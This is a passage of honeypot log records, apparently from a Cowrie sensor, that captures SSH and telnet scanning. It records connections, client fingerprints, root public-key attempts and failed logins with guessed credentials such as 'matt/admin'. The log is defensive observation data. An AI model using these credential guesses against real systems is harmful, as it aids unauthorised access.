{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:13.299400Z","src_ip":"43.160.242.74","session":"e630f0e26643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:14.314822Z","src_ip":"118.194.229.94","session":"f23041f4e1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.85313844680786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:17.500651Z","src_ip":"128.199.8.54","session":"679e9af89a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":57956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a499b3558bb","protocol":"ssh","message":"New connection: 186.233.184.67:57956 (10.17.0.5:22) [session: 6a499b3558bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.459481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.464073Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.502714Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:5c:a1:e4:ac:98:c4:4f:b2:d2:e9:6f:c3:3f:de:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgmeBnGLi/5BuAoL0SRUB1Anqa7IMRnYZYVgr/6kQCH9qd885EpHoNIB13bt33eefWVAgrvh55JK0hM5SYSqCski7VPlASZrhVS9rgkb81BUNiLvLjg6TdxGH+znxEJpNQHQ4fIj+ATq8nnripwxQip0X6hv3ZJQDHW1e8qxRg8A4RwmkuE6mozJja3n3RWETn4jjRfdwZe3xfYT+LYplXwq4CqSoLs2agjs7ZTqvS7x2UfCVtSlxwaUHGEKxyafOtlRvF5SPkygjwTHQSTINHEAcaE0qlY4pnNUEPHFcvnUT+ilZLgrHkoeSjQWRI2K16aluR8Dq9DmcSLF4xXY7p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:5c:a1:e4:ac:98:c4:4f:b2:d2:e9:6f:c3:3f:de:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.675814Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:5c:a1:e4:ac:98:c4:4f:b2:d2:e9:6f:c3:3f:de:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgmeBnGLi/5BuAoL0SRUB1Anqa7IMRnYZYVgr/6kQCH9qd885EpHoNIB13bt33eefWVAgrvh55JK0hM5SYSqCski7VPlASZrhVS9rgkb81BUNiLvLjg6TdxGH+znxEJpNQHQ4fIj+ATq8nnripwxQip0X6hv3ZJQDHW1e8qxRg8A4RwmkuE6mozJja3n3RWETn4jjRfdwZe3xfYT+LYplXwq4CqSoLs2agjs7ZTqvS7x2UfCVtSlxwaUHGEKxyafOtlRvF5SPkygjwTHQSTINHEAcaE0qlY4pnNUEPHFcvnUT+ilZLgrHkoeSjQWRI2K16aluR8Dq9DmcSLF4xXY7p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.679314Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:c2:b0:f8:bf:01:81:0f:ec:5d:55:9f:47:73:a8:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyRzgPUASx2kN5JXhCGXh5pBeYj6aqLm45Avyxjxoqmov5i2RXW5BctxWutiGlNMCorB9/jYjqdi64BUowaIeJI5NWzX76pGy8wXFsQi+XZ7QtEbSYgT92VSzQwFJhzuEkORHEHSaQRq9e84HxpWrYWG1rxQkrIy1UOckiCKpjGajLLh1MV1zg2xEeyWEDpu/4f/Cfe+EoduuJhGmw956ZQ6ZX84Brzc3cbmLgRUiJQDVAYLbhYGCV9J0nKVTAPxDDo3dS7tZmYGHvGYFBz4zhcjZM5AtM2c+5YUHg1TqFctdkITdyFTAM+WP2qCbgKVVzgTpmMNZv/3Fr8vks2x3DU7F7DbqDjzfWrdYuYbOLEe2ONJc8GhGdpetalwJcAaF/o0MuJ1XVOnuWEAhewzQuKP5UaCavvLXia6E5nloJYU26lyGMFIAeOY6ixIZHRUKM1HrTN2TG2+ywyjqLzIRMb/k52vMGFn+qvoFIiV4HpQsxF21g6Jo3r29QgrAKGufwcL8/fE5HymsktJjHqLJisKJN5LM+1jtEFd+jWPYio+41b4MHA9gsJiGVfD+kVOLN3Sw6eLzo/Xhn5mt3aPz2kJ7YjtMWRDIOosL9MMVi10sX/dF6Ql2lWGi1VKtDV10H6RLjB1FcOtFLYEBkCGi8c+aTfWAkMVn/HQuQUx0CdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:c2:b0:f8:bf:01:81:0f:ec:5d:55:9f:47:73:a8:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.721960Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:c2:b0:f8:bf:01:81:0f:ec:5d:55:9f:47:73:a8:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyRzgPUASx2kN5JXhCGXh5pBeYj6aqLm45Avyxjxoqmov5i2RXW5BctxWutiGlNMCorB9/jYjqdi64BUowaIeJI5NWzX76pGy8wXFsQi+XZ7QtEbSYgT92VSzQwFJhzuEkORHEHSaQRq9e84HxpWrYWG1rxQkrIy1UOckiCKpjGajLLh1MV1zg2xEeyWEDpu/4f/Cfe+EoduuJhGmw956ZQ6ZX84Brzc3cbmLgRUiJQDVAYLbhYGCV9J0nKVTAPxDDo3dS7tZmYGHvGYFBz4zhcjZM5AtM2c+5YUHg1TqFctdkITdyFTAM+WP2qCbgKVVzgTpmMNZv/3Fr8vks2x3DU7F7DbqDjzfWrdYuYbOLEe2ONJc8GhGdpetalwJcAaF/o0MuJ1XVOnuWEAhewzQuKP5UaCavvLXia6E5nloJYU26lyGMFIAeOY6ixIZHRUKM1HrTN2TG2+ywyjqLzIRMb/k52vMGFn+qvoFIiV4HpQsxF21g6Jo3r29QgrAKGufwcL8/fE5HymsktJjHqLJisKJN5LM+1jtEFd+jWPYio+41b4MHA9gsJiGVfD+kVOLN3Sw6eLzo/Xhn5mt3aPz2kJ7YjtMWRDIOosL9MMVi10sX/dF6Ql2lWGi1VKtDV10H6RLjB1FcOtFLYEBkCGi8c+aTfWAkMVn/HQuQUx0CdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.725600Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:f2:da:1a:1c:4d:b6:d0:c5:14:8c:e2:1e:2c:1d:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOn6ryc3V/7Agb3mgiG57TDa6kAlYr+5iEdZWiS4lTcc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 98:f2:da:1a:1c:4d:b6:d0:c5:14:8c:e2:1e:2c:1d:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.765091Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:f2:da:1a:1c:4d:b6:d0:c5:14:8c:e2:1e:2c:1d:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOn6ryc3V/7Agb3mgiG57TDa6kAlYr+5iEdZWiS4lTcc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.768360Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:ed:01:db:0f:58:f2:6e:52:4b:e1:be:ab:70:3c:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBYqJC5T3SzcQb5tgVJrWt/n6Pbx4AGjWtiRvEr9xUV3Ac/3WjXandHubI91vM2qgSzNY4STwSWEBDrvX34UBeC2PFgjeFU+tDtT3E+E2bkVKQf8+Snkuw0IoD2c/Jlj9oFNhhG4Py0ZsfDEDCLPuoC66FXgDy3ra7Zfcl5YoyCgx47vKHXgUoapntVtBTMbXtaib/snLy5yTtwtFsAr40tRmmAu7NR/9Vte9YP0WewbRpEczrRLUgTfPzSoAA1F+MbLKJexRvgu1r5AyspnKd8ajt4sTroRJwwIu03VCmupXTDBo8IoeuxyDcVsj/euTXTypAEBBOrQID7LAa67Dr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:ed:01:db:0f:58:f2:6e:52:4b:e1:be:ab:70:3c:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.808372Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:ed:01:db:0f:58:f2:6e:52:4b:e1:be:ab:70:3c:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBYqJC5T3SzcQb5tgVJrWt/n6Pbx4AGjWtiRvEr9xUV3Ac/3WjXandHubI91vM2qgSzNY4STwSWEBDrvX34UBeC2PFgjeFU+tDtT3E+E2bkVKQf8+Snkuw0IoD2c/Jlj9oFNhhG4Py0ZsfDEDCLPuoC66FXgDy3ra7Zfcl5YoyCgx47vKHXgUoapntVtBTMbXtaib/snLy5yTtwtFsAr40tRmmAu7NR/9Vte9YP0WewbRpEczrRLUgTfPzSoAA1F+MbLKJexRvgu1r5AyspnKd8ajt4sTroRJwwIu03VCmupXTDBo8IoeuxyDcVsj/euTXTypAEBBOrQID7LAa67Dr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.812852Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:6f:5a:4d:fe:ce:7f:86:1f:d6:c9:42:33:ea:de:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj4Vmhx35VOPsJ6cQvN5tqG4paQnJSb8f/p/fAd3lWwKvlVz4DzGMII70cOV2Yjb6bvdkhMwAXMkUrjNaee81MWqnciWAvCP0h3d7QuTkeLxgQ3eOJ7+8ZU3r4UBZogKTbI8VNBwm9xjkxUk2Q5DqOndOFt/An8yJnYhTrBbbZtIqqVQFWDVzzW3j+SNIZpbh/J+lEGwpe9f+zfqTmRwFlZkjDGiH8JjXbTUzAOzd7I7GJghirdfH2tq1JYRWAJzg2zgL5DYiFwUxOKuYKZf9UcAi6xOF0oqoK5Cf9cGyDruyEeiKe4GTpueyEj2qepCdXfs4J7o2/AQFNcZ4FbcP9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:6f:5a:4d:fe:ce:7f:86:1f:d6:c9:42:33:ea:de:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.852885Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:6f:5a:4d:fe:ce:7f:86:1f:d6:c9:42:33:ea:de:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj4Vmhx35VOPsJ6cQvN5tqG4paQnJSb8f/p/fAd3lWwKvlVz4DzGMII70cOV2Yjb6bvdkhMwAXMkUrjNaee81MWqnciWAvCP0h3d7QuTkeLxgQ3eOJ7+8ZU3r4UBZogKTbI8VNBwm9xjkxUk2Q5DqOndOFt/An8yJnYhTrBbbZtIqqVQFWDVzzW3j+SNIZpbh/J+lEGwpe9f+zfqTmRwFlZkjDGiH8JjXbTUzAOzd7I7GJghirdfH2tq1JYRWAJzg2zgL5DYiFwUxOKuYKZf9UcAi6xOF0oqoK5Cf9cGyDruyEeiKe4GTpueyEj2qepCdXfs4J7o2/AQFNcZ4FbcP9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.857192Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:21.899063Z","src_ip":"186.233.184.67","session":"6a499b3558bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35576,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de698c295ce","protocol":"telnet","message":"New connection: 128.199.8.54:35576 (159.203.135.109:23) [session: 9de698c295ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:22.977869Z"}
{"eventid":"cowrie.session.closed","duration":33.769446849823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:41.052114Z","src_ip":"128.199.8.54","session":"cd5a5b6d1231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20209288597107,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:16:57.179874Z","src_ip":"128.199.8.54","session":"9de698c295ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51146,"dst_ip":"159.203.135.109","dst_port":23,"session":"332fdb8a0616","protocol":"telnet","message":"New connection: 128.199.8.54:51146 (159.203.135.109:23) [session: 332fdb8a0616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:00.366824Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":58588,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d7038fea2bf","protocol":"ssh","message":"New connection: 43.160.242.74:58588 (159.203.135.109:22) [session: 6d7038fea2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:09.087925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:09.092416Z","src_ip":"43.160.242.74","session":"6d7038fea2bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:09.337799Z","src_ip":"43.160.242.74","session":"6d7038fea2bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_test","password":"ftp_test","message":"login attempt [ftp_test/ftp_test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:10.352761Z","src_ip":"43.160.242.74","session":"6d7038fea2bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:11.601460Z","src_ip":"43.160.242.74","session":"6d7038fea2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46546,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ec5c29eddd","protocol":"telnet","message":"New connection: 128.199.8.54:46546 (159.203.135.109:23) [session: 94ec5c29eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:26.976555Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50388,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7ab418e9d06","protocol":"telnet","message":"New connection: 128.199.8.54:50388 (159.203.135.109:23) [session: a7ab418e9d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:28.963309Z"}
{"eventid":"cowrie.session.closed","duration":34.87541317939758,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:17:35.242118Z","src_ip":"128.199.8.54","session":"332fdb8a0616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28971886634827,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:01.266179Z","src_ip":"128.199.8.54","session":"94ec5c29eddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9583580493927,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:03.921575Z","src_ip":"128.199.8.54","session":"a7ab418e9d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":48448,"dst_ip":"159.203.135.109","dst_port":22,"session":"8562ff721d2f","protocol":"ssh","message":"New connection: 43.160.242.74:48448 (159.203.135.109:22) [session: 8562ff721d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:10.199857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:10.204886Z","src_ip":"43.160.242.74","session":"8562ff721d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:10.442831Z","src_ip":"43.160.242.74","session":"8562ff721d2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matt","password":"admin","message":"login attempt [matt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:11.425623Z","src_ip":"43.160.242.74","session":"8562ff721d2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52472,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f9a56ac097f","protocol":"telnet","message":"New connection: 128.199.8.54:52472 (159.203.135.109:23) [session: 3f9a56ac097f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:12.378401Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:12.666638Z","src_ip":"43.160.242.74","session":"8562ff721d2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":57628,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a77afed0e4","protocol":"ssh","message":"New connection: 118.194.229.94:57628 (159.203.135.109:22) [session: 07a77afed0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:14.077049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:14.086446Z","src_ip":"118.194.229.94","session":"07a77afed0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-g